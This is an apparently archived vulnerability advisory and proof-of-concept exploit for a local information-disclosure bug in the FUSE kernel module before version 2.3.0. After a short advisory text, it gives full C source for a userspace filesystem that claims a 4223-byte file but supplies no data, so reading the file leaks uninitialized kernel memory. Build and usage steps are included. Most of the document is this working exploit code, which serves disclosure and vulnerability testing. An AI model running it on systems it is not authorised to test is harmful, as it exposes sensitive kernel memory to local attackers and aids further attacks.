112 lines
No EOL
2.8 KiB
C
112 lines
No EOL
2.8 KiB
C
// source: https://www.securityfocus.com/bid/13857/info
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FUSE is susceptible to a local information disclosure vulnerability. This issue is due to a failure of the kernel module to properly clear used memory prior to its reuse.
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This vulnerability allows malicious local users to gain access to potentially sensitive kernel memory, aiding them in further attacks.
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FUSE versions 2.2, 2.2.1, 2.3-pre*, and 2.3-rc1, running on Linux kernel versions 2.4, through 2.6 are affected by this issue.
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/*
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memfs.c: Proof of concept exploit for FUSE < 2.3.0
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memfs.c is based on fuse/example/hello.c from Miklos Szeredi
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Details: http://www.sven-tantau.de/public_files/fuse/fuse_20050603.txt
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Build: Copy memfs.c over hello.c and run make in the fuse base directory
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Usage: Create a mountpoint ; ./hello /mnt/getmem/ ; cat /mnt/getmem/memfs ;
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If you see random bytes you are vulnerable.
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Sven Tantau - http://www.sven-tantau.de/ - 01.06.2005
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FUSE: Filesystem in Userspace
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Copyright (C) 2001-2005 Miklos Szeredi <miklos@szeredi.hu>
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This program can be distributed under the terms of the GNU GPL.
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*/
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#include <fuse.h>
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#include <stdio.h>
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#include <string.h>
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#include <errno.h>
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#include <fcntl.h>
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static const char *memfs_str = "";
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static const char *memfs_path = "/memfs";
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static int memfs_getattr(const char *path, struct stat *stbuf)
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{
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int res = 0;
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memset(stbuf, 0, sizeof(struct stat));
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if(strcmp(path, "/") == 0) {
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stbuf->st_mode = S_IFDIR | 0755;
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stbuf->st_nlink = 2;
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}
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else if(strcmp(path, memfs_path) == 0) {
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stbuf->st_mode = S_IFREG | 0444;
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stbuf->st_nlink = 1;
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stbuf->st_size = 4223;
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}
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else
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res = -ENOENT;
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return res;
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}
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static int memfs_getdir(const char *path, fuse_dirh_t h, fuse_dirfil_t filler)
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{
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if(strcmp(path, "/") != 0)
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return -ENOENT;
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filler(h, ".", 0, 0);
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filler(h, "..", 0, 0);
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filler(h, memfs_path + 1, 0, 0);
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return 0;
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}
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static int memfs_open(const char *path, struct fuse_file_info *fi)
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{
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if(strcmp(path, memfs_path) != 0)
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return -ENOENT;
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if((fi->flags & 3) != O_RDONLY)
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return -EACCES;
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return 0;
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}
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static int memfs_read(const char *path, char *buf, size_t size, off_t offset,
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struct fuse_file_info *fi)
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{
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size_t len;
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(void) fi;
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if(strcmp(path, memfs_path) != 0)
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return -ENOENT;
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len = strlen(memfs_str);
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if (offset < len) {
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if (offset + size > len)
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size = len - offset;
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memcpy(buf, memfs_str + offset, size);
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} else
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size = 0;
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return size;
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}
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static struct fuse_operations memfs_oper = {
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.getattr = memfs_getattr,
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.getdir = memfs_getdir,
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.open = memfs_open,
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.read = memfs_read,
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};
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int main(int argc, char *argv[])
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{
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return fuse_main(argc, argv, &memfs_oper);
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} |